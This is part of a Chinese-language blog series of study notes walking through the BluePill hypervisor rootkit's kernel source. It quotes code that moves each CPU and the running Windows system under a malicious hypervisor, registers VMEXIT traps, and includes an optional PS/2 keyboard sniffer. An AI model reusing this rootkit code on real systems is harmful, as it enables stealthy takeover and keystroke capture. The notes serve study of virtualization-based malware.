学习BluePill源码笔记-4
来源:互联网 发布:编程什么意思 编辑:程序博客网 时间:2024/05/22 00:51
2.2
2.2.1HvmSwallowBluepill函数
NTSTATUS NTAPI HvmSwallowBluepill (){ CCHAR cProcessorNumber; NTSTATUS Status, CallbackStatus; _KdPrint (("HvmSwallowBluepill(): Going to subvert %d processor%s\n", KeNumberProcessors, KeNumberProcessors == 1 ? "" : "s")); KeWaitForSingleObject (&g_HvmMutex, Executive, KernelMode, FALSE, NULL); for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; cProcessorNumber++) { _KdPrint (("HvmSwallowBluepill(): Subverting processor #%d\n", cProcessorNumber)); Status = CmDeliverToProcessor (cProcessorNumber, CmSubvert, NULL, &CallbackStatus); if (!NT_SUCCESS (Status)) { _KdPrint (("HvmSwallowBluepill(): CmDeliverToProcessor() failed with status 0x%08hX\n", Status)); KeReleaseMutex (&g_HvmMutex, FALSE); HvmSpitOutBluepill (); return Status; } if (!NT_SUCCESS (CallbackStatus)) { _KdPrint (("HvmSwallowBluepill(): HvmSubvertCpu() failed with status 0x%08hX\n", CallbackStatus)); KeReleaseMutex (&g_HvmMutex, FALSE); HvmSpitOutBluepill (); return CallbackStatus; } }
for (cProcessorNumber = 0; cProcessorNumber < KeNumberProcessors; cProcessorNumber++)开始到结束为该函数的核心。
CmDeliverToProcessor的代码如下:
NTSTATUS NTAPI CmDeliverToProcessor ( CCHAR cProcessorNumber, PCALLBACK_PROC CallbackProc, PVOID CallbackParam, PNTSTATUS pCallbackStatus){ NTSTATUS CallbackStatus; KIRQL OldIrql; if (!CallbackProc) return STATUS_INVALID_PARAMETER; if (pCallbackStatus) *pCallbackStatus = STATUS_UNSUCCESSFUL; KeSetSystemAffinityThread ((KAFFINITY) (1 << cProcessorNumber)); OldIrql = KeRaiseIrqlToDpcLevel (); CallbackStatus = CallbackProc (CallbackParam); KeLowerIrql (OldIrql); KeRevertToUserAffinityThread (); // save the status of the callback which has run on the current core if (pCallbackStatus) *pCallbackStatus = CallbackStatus; return STATUS_SUCCESS;}CmDeliverToProcessor代码检查参数后,提高当前线程在CPU中的亲和性(目的似乎是为了在执行该指令时不被打断)升高IRQL(只能NonPagedPool),调用HvmSubvertCpu函数。之后,降低IRQL,降低当前线程在CPU中的亲和性。
HvmSubvertCpu()函数:
NTSTATUS NTAPI HvmSubvertCpu ( PVOID GuestRsp){ PCPU Cpu; PVOID HostKernelStackBase; NTSTATUS Status; PHYSICAL_ADDRESS HostStackPA; _KdPrint (("HvmSubvertCpu(): Running on processor #%d\n", KeGetCurrentProcessorNumber ())); if (!Hvm->ArchIsHvmImplemented ()) { _KdPrint (("HvmSubvertCpu(): HVM extensions not implemented on this processor\n")); return STATUS_NOT_SUPPORTED; } HostKernelStackBase = MmAllocatePages (HOST_STACK_SIZE_IN_PAGES, &HostStackPA); if (!HostKernelStackBase) { _KdPrint (("HvmSubvertCpu(): Failed to allocate %d pages for the host stack\n", HOST_STACK_SIZE_IN_PAGES)); return STATUS_INSUFFICIENT_RESOURCES; } Cpu = (PCPU) ((PCHAR) HostKernelStackBase + HOST_STACK_SIZE_IN_PAGES * PAGE_SIZE - 8 - sizeof (CPU)); Cpu->HostStack = HostKernelStackBase; // for interrupt handlers which will address CPU through the FS Cpu->SelfPointer = Cpu; Cpu->ProcessorNumber = KeGetCurrentProcessorNumber (); Cpu->Nested = FALSE; InitializeListHead (&Cpu->GeneralTrapsList); InitializeListHead (&Cpu->MsrTrapsList); InitializeListHead (&Cpu->IoTrapsList); Cpu->GdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_GDT_LIMIT), NULL); if (!Cpu->GdtArea) { _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for GDT\n")); return STATUS_INSUFFICIENT_RESOURCES; } Cpu->IdtArea = MmAllocatePages (BYTES_TO_PAGES (BP_IDT_LIMIT), NULL); if (!Cpu->IdtArea) { _KdPrint (("HvmSubvertCpu(): Failed to allocate memory for IDT\n")); return STATUS_INSUFFICIENT_RESOURCES; } // allocate a 4k page. Fail the init if we can't allocate such page // (e.g. all allocations reside on 2mb pages). //Cpu->SparePage=MmAllocatePages(1,&Cpu->SparePagePA); Cpu->SparePage = MmAllocateContiguousPagesSpecifyCache (1, &Cpu->SparePagePA, MmCached); if (!Cpu->SparePage) { _KdPrint (("HvmSubvertCpu(): Failed to allocate 1 page for the dummy page (DPA_CONTIGUOUS)\n")); return STATUS_UNSUCCESSFUL; } // this is valid only for host page tables, as this VA may point into 2mb page in the guest. Cpu->SparePagePTE = (PULONG64) ((((ULONG64) (Cpu->SparePage) >> 9) & 0x7ffffffff8) + PT_BASE);#ifdef SVM_SPAREPAGE_NON_CACHED *Cpu->SparePagePTE |= (1 << 4); // set PCD (Cache Disable);#endif Status = Hvm->ArchRegisterTraps (Cpu); if (!NT_SUCCESS (Status)) { _KdPrint (("HvmSubvertCpu(): Failed to register NewBluePill traps, status 0x%08hX\n", Status)); return STATUS_UNSUCCESSFUL; } Status = Hvm->ArchInitialize (Cpu, CmSlipIntoMatrix, GuestRsp); if (!NT_SUCCESS (Status)) { _KdPrint (("HvmSubvertCpu(): ArchInitialize() failed with status 0x%08hX\n", Status)); return Status; } InterlockedIncrement (&g_uSubvertedCPUs);#if 0 Cpu->LapicBaseMsr.QuadPart = MsrRead (MSR_IA32_APICBASE); if (Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_ENABLE) { Cpu->LapicPhysicalBase.QuadPart = Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_BASE; Cpu->LapicVirtualBase = (PVOID) Cpu->LapicPhysicalBase.QuadPart; // set VA=PA MmCreateMapping (Cpu->LapicPhysicalBase, Cpu->LapicVirtualBase, FALSE); _KdPrint (("HvmSubvertCpu(): Local APIC Base PA 0x%08hX, mapped to VA 0x%08hX\n", Cpu->LapicPhysicalBase.QuadPart, Cpu->LapicVirtualBase)); } else { _KdPrint (("HvmSubvertCpu(): Local APIC is disabled\n")); }#endif // no API calls allowed below this point: we have overloaded GDTR and selectors#ifdef _X86_#else HvmSetupGdt (Cpu); HvmSetupIdt (Cpu);#endif#if DEBUG_LEVEL>1 _KdPrint (("HvmSubvertCpu(): RFLAGS = %#x, CR8 = %#x\n", RegGetRflags (), RegGetCr8 ()));#endif Status = Hvm->ArchVirtualize (Cpu); // never reached InterlockedDecrement (&g_uSubvertedCPUs); return Status;}
该函数首先创建并初始化了一个CPU结构,接着构造了自己的GDT表和IDT表。
最后,该函数侵染CPU核心。侵染过程如下:Status = Hvm->ArchRegisterTraps (Cpu); Status = Hvm->ArchInitialize (Cpu, CmSlipIntoMatrix, GuestRsp); InterlockedIncrement (&g_uSubvertedCPUs); Cpu->LapicBaseMsr.QuadPart = MsrRead (MSR_IA32_APICBASE); if (Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_ENABLE) { Cpu->LapicPhysicalBase.QuadPart = Cpu->LapicBaseMsr.QuadPart & MSR_IA32_APICBASE_BASE; Cpu->LapicVirtualBase = (PVOID) Cpu->LapicPhysicalBase.QuadPart; // set VA=PA MmCreateMapping (Cpu->LapicPhysicalBase, Cpu->LapicVirtualBase, FALSE); } Status = Hvm->ArchVirtualize (Cpu); // never reached InterlockedDecrement (&g_uSubvertedCPUs); return Status;}
2.2.2 侵染核心三个步骤
Hvm->ArchRegisterTraps(Cpu) 注册VMEXIT事件处理函数
Hvm->ArchInitialize(Cpu, CmSlipIntoMatrix, GuestRsp); 开启虚拟机模式成为Hypervisor并构建虚拟机装入原来的操作系统
Hvm->ArchVirtualize(Cpu)开启虚拟机。
2.2.3 Hvm->ArchRegisterTraps(Cpu) 注册VMEXIT事件处理函数
该方法对应的函数实际为(不讨论AMD)位于vmxtraps.c
NTSTATUS NTAPI VmxRegisterTraps ( PCPU Cpu){ NTSTATUS Status; PNBP_TRAP Trap;#ifndef VMX_SUPPORT_NESTED_VIRTUALIZATION // used to set dummy handler for all VMX intercepts when we compile without nested support ULONG32 i, TableOfVmxExits[] = { EXIT_REASON_VMCALL, EXIT_REASON_VMCALL, EXIT_REASON_VMLAUNCH, EXIT_REASON_VMRESUME, EXIT_REASON_VMPTRLD, EXIT_REASON_VMPTRST, EXIT_REASON_VMREAD, EXIT_REASON_VMWRITE, EXIT_REASON_VMXON, EXIT_REASON_VMXOFF };#endif if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_CPUID, 0, // length of the instruction, 0 means length need to be get from vmcs later. VmxDispatchCpuid, &Trap))) { _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchCpuid with status 0x%08hX\n", Status)); return Status; } TrRegisterTrap (Cpu, Trap); if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_MSR_READ, 0, // length of the instruction, 0 means length need to be get from vmcs later. VmxDispatchMsrRead, &Trap))) { _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchMsrRead with status 0x%08hX\n", Status)); return Status; } TrRegisterTrap (Cpu, Trap); if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_MSR_WRITE, 0, // length of the instruction, 0 means length need to be get from vmcs later. VmxDispatchMsrWrite, &Trap))) { _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchMsrWrite with status 0x%08hX\n", Status)); return Status; } TrRegisterTrap (Cpu, Trap); if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_CR_ACCESS, 0, // length of the instruction, 0 means length need to be get from vmcs later. VmxDispatchCrAccess, &Trap))) { _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchCrAccess with status 0x%08hX\n", Status)); return Status; } TrRegisterTrap (Cpu, Trap); if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_INVD, 0, // length of the instruction, 0 means length need to be get from vmcs later. VmxDispatchINVD, &Trap))) { _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchINVD with status 0x%08hX\n", Status)); return Status; } TrRegisterTrap (Cpu, Trap); // set dummy handler for all VMX intercepts if we compile wihtout nested support for (i = 0; i < sizeof (TableOfVmxExits) / sizeof (ULONG32); i++) { if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, TableOfVmxExits[i], 0, // length of the instruction, 0 means length need to be get from vmcs later. VmxDispatchVmxInstrDummy, &Trap))) { _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchVmon with status 0x%08hX\n", Status)); return Status; } TrRegisterTrap (Cpu, Trap); }#ifdef INTERCEPT_RDTSCs if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_EXCEPTION_NMI, 0, VmxDispatchException, &Trap))) { _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchException with status 0x%08hX\n", Status)); return Status; } TrRegisterTrap (Cpu, Trap); if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_RDTSC, 0, VmxDispatchRdtsc, &Trap))) { _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchRdtsc with status 0x%08hX\n", Status)); return Status; } TrRegisterTrap (Cpu, Trap);#endif#ifdef VMX_ENABLE_PS2_KBD_SNIFFER if (!NT_SUCCESS (Status = TrInitializeGeneralTrap (Cpu, EXIT_REASON_IO_INSTRUCTION, 0, // length of the instruction, 0 means length need to be get from vmcs later. VmxDispatchIoAccess, &Trap))) { _KdPrint (("VmxRegisterTraps(): Failed to register VmxDispatchIoAccess with status 0x%08hX\n", Status)); return Status; } TrRegisterTrap (Cpu, Trap);#endif return STATUS_SUCCESS;}
未完待续。。。
0 0
- 学习BluePill源码笔记-4
- 学习BluePill源码笔记-1
- 学习BluePill源码笔记-2
- 学习BluePill源码笔记-3
- cassandra_0.3 源码学习笔记(4)
- 学习笔记:解读CppUnit源码4
- spring源码学习笔记-初始化(4)
- netty5源码分析(4)--学习笔记
- Python源码学习笔记 4 列表对象
- Spark源码学习笔记4-SparkEnv
- Struts 源码学习笔记
- Struts 源码学习笔记
- NHibernate源码学习笔记
- TFTP源码 学习笔记
- Netty源码学习笔记
- FTP 源码学习笔记
- Tomcat源码学习笔记
- Android源码学习笔记
- HDU 4856 Tunnels
- 十进制整型按十六进制输出
- 关联json与hashmap
- STM32F103RBT6 零基础学习笔记
- hdu 4847 Wow! Such Doge!(水题)
- 学习BluePill源码笔记-4
- linux驱动摸索 --驱动框架初始化(结合韦东山视频教程)
- windows配置jdk
- HDU 1004 Let the Balloon Rise
- 深度神经网络
- Candy
- linux shell ctrl key function
- C++开源程序库
- POJ 3630 - Phone List (Trie)